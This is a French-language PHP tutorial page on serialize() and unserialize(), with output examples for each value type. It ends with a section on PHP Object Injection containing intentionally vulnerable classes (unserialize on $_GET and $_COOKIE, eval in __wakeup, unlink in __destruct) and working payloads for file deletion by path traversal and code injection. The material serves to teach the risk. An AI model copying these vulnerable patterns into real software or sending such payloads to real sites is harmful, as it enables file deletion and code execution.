PHP
La sérialisation

Syntaxe

• string serialize (valeur mixte $)

Paramètres

Remarques

Sérialisation de différents types

Génère une représentation stockable d'une valeur.

Ceci est utile pour stocker ou transmettre des valeurs PHP sans perdre leur type et leur structure.

Pour rendre la chaîne sérialisée dans une valeur PHP, utilisez unserialize () .

Sérialiser une chaîne

$string = "Hello world";    
echo serialize($string);

// Output: 
// s:11:"Hello world";

Sérialiser un double

$double = 1.5;    
echo serialize($double);

// Output: 
// d:1.5;

Sérialiser un flotteur

Le flottement est sérialisé en double.

Sérialisation d'un entier

$integer = 65;    
echo serialize($integer);

// Output: 
// i:65;

Sérialiser un booléen

$boolean = true;    
echo serialize($boolean);

// Output: 
// b:1;

$boolean = false;    
echo serialize($boolean);

// Output: 
// b:0;

Serializing null

$null = null;    
echo serialize($null);

// Output: 
// N;

Sérialisation d'un tableau

$array = array(
    25,
    'String',
    'Array'=> ['Multi Dimension','Array'],
    'boolean'=> true,
    'Object'=>$obj, // $obj from above Example
    null,
    3.445
); 


// This will throw Fatal Error
// $array['function'] = function() { return "function"; };

echo serialize($array);

// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}

Sérialiser un objet

Vous pouvez également sérialiser des objets.

Lors de la sérialisation d'objets, PHP tentera d'appeler la fonction membre __sleep () avant la sérialisation. Ceci permet à l'objet d'effectuer un nettoyage de dernière minute, etc. avant d'être sérialisé. De même, lorsque l'objet est restauré en utilisant unserialize () la fonction membre __wakeup () est appelée.

class abc {
    var $i = 1;
    function foo() {
        return 'hello world';
    }
}

$object = new abc(); 
echo serialize($object);

// Output:
// O:3:"abc":1:{s:1:"i";i:1;} 

Notez que les fermetures ne peuvent pas être sérialisées:

$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"

$serializedResult = serialize($function);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'

Problèmes de sécurité avec unserialize

En utilisant unserialize fonction unserialize données de l' entrée utilisateur peut être dangereux.

Un avertissement de php.net

Avertissement Ne transmettez pas l'entrée utilisateur non approuvée à unserialize (). La désérialisation peut entraîner le chargement et l'exécution du code en raison de l'instanciation d'objet et du chargement automatique, et un utilisateur malveillant peut l'exploiter. Utilisez un format d'échange de données standard et sécurisé tel que JSON (via json_decode () et json_encode ()) si vous devez transmettre des données sérialisées à l'utilisateur.

Attaques possibles

• Injection d'objets PHP

Injection d'objets PHP

PHP Object Injection est une vulnérabilité au niveau de l'application qui pourrait permettre à un attaquant d'effectuer différents types d'attaques malveillantes, telles que l'injection de code, l'injection SQL, la traversée de chemin et le déni de service de l'application, selon le contexte. La vulnérabilité se produit lorsque les entrées fournies par l'utilisateur ne sont pas correctement filtrées avant d'être transmises à la fonction PHP unserialize (). Étant donné que PHP autorise la sérialisation des objets, les attaquants pourraient transmettre des chaînes sérialisées ad hoc à un appel unserialize () vulnérable, entraînant l'injection d'un ou de plusieurs objets PHP arbitraires dans la portée de l'application.

Pour exploiter avec succès une vulnérabilité PHP Object Injection, deux conditions doivent être remplies:

• L'application doit avoir une classe qui implémente une méthode magique PHP (telle que __wakeup ou __destruct ) qui peut être utilisée pour effectuer des attaques malveillantes ou pour lancer une "chaîne POP".
• Toutes les classes utilisées lors de l'attaque doivent être déclarées lors de l'appel du vulnérable unserialize() , sinon le chargement automatique de l'objet doit être pris en charge pour ces classes.

Exemple 1 - Attaque de traversée de chemin

L'exemple ci-dessous montre une classe PHP avec une méthode __destruct exploitable:

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

Dans cet exemple, un attaquant pourrait supprimer un fichier arbitraire via une attaque Path Traversal, par exemple pour demander l'URL suivante:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Exemple 2 - Attaque par injection de code

L'exemple ci-dessous montre une classe PHP avec une méthode exploitable __wakeup:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

Dans cet exemple, un attaquant pourrait effectuer une attaque par injection de code en envoyant une requête HTTP comme celle-ci:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

Où le paramètre de cookie "data" a été généré par le script suivant:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));